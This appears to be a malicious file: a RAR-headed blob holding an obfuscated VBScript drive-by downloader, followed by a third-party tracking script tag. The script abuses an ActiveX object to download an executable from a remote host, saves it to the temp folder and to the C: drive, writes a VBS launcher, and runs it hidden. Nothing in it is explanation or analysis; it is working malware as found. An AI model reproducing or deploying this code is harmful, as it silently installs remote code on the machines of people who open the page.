Rar!  On Error Resume Next ff= "x" zz= "e" GmubZ = "http://hack588.go2.icpcn.com/rj/rj." Ak= "object" Set RJURL = document.createElement(Ak,"") hmm="MLHTTp":gxx="Microsoft.X":fee="9E36":edd="04FC2":dii="0-983A-00C":css="A3-11D":bll="C556-65":acc="clsid:BD96" RJURL.SetAttribute "classid", acc&bll&css&dii&edd&fee Set MKHbx = RJURL.CreateObject(gxx&hmm,"") MKHbx.Open "GET", GmubZ&zz&ff&zz, False MKHbx.Send DSjUs="~B9GMSJAABQaL.vBs" AsXki="~B9GMSJAABQaL.vBs" HOMIc="~J8JAXHS7BSA.bAt" df="FileSyst" sd="Scripting." fg="emObject" Set Kpzwb = RJURL.createobject(sd&df&fg,"") Set SrHOx = Kpzwb.GetSpecialFolder(2) HOMIc=Kpzwb.BuildPath(SrHOx,HOMIc) DSjUs=Kpzwb.BuildPath(SrHOx,DSjUs) bN="b.stream" aR="Adod" OsJsM=aR&bN Set HSREb = RJURL.createobject(OsJsM,"") HSREb.Type=1 HSREb.Open HSREb.Write MKHbx.ResponseBody HSREb.Savetofile HOMIc,2 HSREb.Close HSREb.type=2 HSREb.Open HSREb.WriteText "Set Shell = CreateObject(""Wscript.Shell"")"&vbCrLf&"shell.run ("""&HOMIc&""")"&vbCrLf&"Set Shell = Nothing" HSREb.Savetofile DSjUs,2 HSREb.Savetofile "c:\\MYFRYWXY.EXE",2 HSREb.Close AUoph="Shell.Applica" Set Run = RJURL.createobject(AUoph&"tion","") nwer="en" vkk="Op" fgh="" Run.ShellExecute DSjUs,"","",vkk&nwer&fgh,0 </script><script language="javascript" src="http://count22.51yes.com/click.aspx?id=220890691&logo=1"></script>